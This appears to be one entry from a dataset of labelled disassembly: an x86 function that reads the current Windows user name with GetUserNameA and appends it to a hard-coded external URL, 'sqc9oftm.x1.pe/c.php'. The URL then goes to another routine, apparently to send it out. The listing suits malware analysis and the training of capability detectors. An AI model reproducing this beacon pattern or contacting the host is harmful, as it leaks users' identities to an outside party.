Function at 0x401260
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4029ab
mov eax, dword fs:[0]
push eax
sub esp, 0x144
mov eax, dword [0x405004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x148]
mov dword [ebp - 0x148], 0x101
push eax
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
test eax, eax
je 0x4012f3
lea ecx, [ebp - 0x114]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4012e0
sub ecx, edx
lea eax, [ebp - 0x114]
push ecx
push eax
jmp 0x4012fa
push 0
push 0x4031f0
lea ecx, [ebp - 0x12c]
call fcn.00401640
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x11c]
mov esi, dword [ebp - 0x12c]
test edx, edx
jne 0x401343
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Failed_to_get_current_user.
push 0x401a10
call fcn.004017d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edi, 1
jmp 0x401511
mov eax, 0x7fffffff
sub eax, edx
cmp eax, 0x24
jb 0x401566
cmp dword [ebp - 0x118], 0x10
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x144], 0
lea edi, [ebp - 0x144]
cmovae eax, esi
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x14c], eax
mov esi, 0xf
lea eax, [edx + 0x24]
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x150], eax
cmp eax, esi
jbe 0x401426
mov esi, eax
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x4013b7
mov esi, 0x7fffffff
jmp 0x4013c1
mov eax, 0x16
cmp esi, eax
cmovb esi, eax
xor ecx, ecx
mov eax, esi
add eax, 1
setb cl
neg ecx
or ecx, eax
cmp ecx, 0x1000
jb 0x401404
lea eax, [ecx + 0x23]
cmp eax, ecx
jbe 0x40156b
push eax
call fcn.00401c41
add esp, 4
test eax, eax
je 0x401539
mov edx, dword [ebp - 0x11c]
lea edi, [eax + 0x23]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x40141d
test ecx, ecx
je 0x40141b
push ecx
call fcn.00401c41
mov edx, dword [ebp - 0x11c]
add esp, 4
mov edi, eax
jmp 0x40141d
xor edi, edi
mov dword [ebp - 0x144], edi
lea eax, [edx + 0x24]
movups xmm0, xmmword [str.https:__sqc9oftm.x1.pe_c.php_cBPME_]
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x130], esi
movups xmmword [edi], xmm0
push edx
movups xmm0, xmmword [0x403288]
push dword [ebp - 0x14c]
movups xmmword [edi + 0x10], xmm0
mov eax, dword [0x403298]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x24]
push eax
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp - 0x150]
add esp, 0xc
mov byte [edi + eax], 0
mov byte [ebp - 4], 1
mov edx, str.URL:
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.004017d0
cmp dword [ebp - 0x130], 0x10
lea edx, [ebp - 0x144]
push 0x401a10
push dword [ebp - 0x134]
cmovae edx, dword [ebp - 0x144]
mov ecx, eax
call fcn.00401a40
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0x144]
call fcn.00401170
mov edx, dword [ebp - 0x130]
xor edi, edi
cmp edx, 0x10
jb 0x4014f4
mov ecx, dword [ebp - 0x144]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4014ea
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401539
push edx
push ecx
call fcn.00401c71
add esp, 8
mov esi, dword [ebp - 0x12c]
mov dword [ebp - 0x134], edi
mov dword [ebp - 0x130], 0xf
mov byte [ebp - 0x144], 0
mov eax, dword [ebp - 0x118]
cmp eax, 0x10
jb 0x401549
lea ecx, [eax + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x40153f
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40153f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push esi
call fcn.00401c71
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00401c33
mov esp, ebp
pop ebp
ret
call fcn.00401160
call fcn.004010c0
int3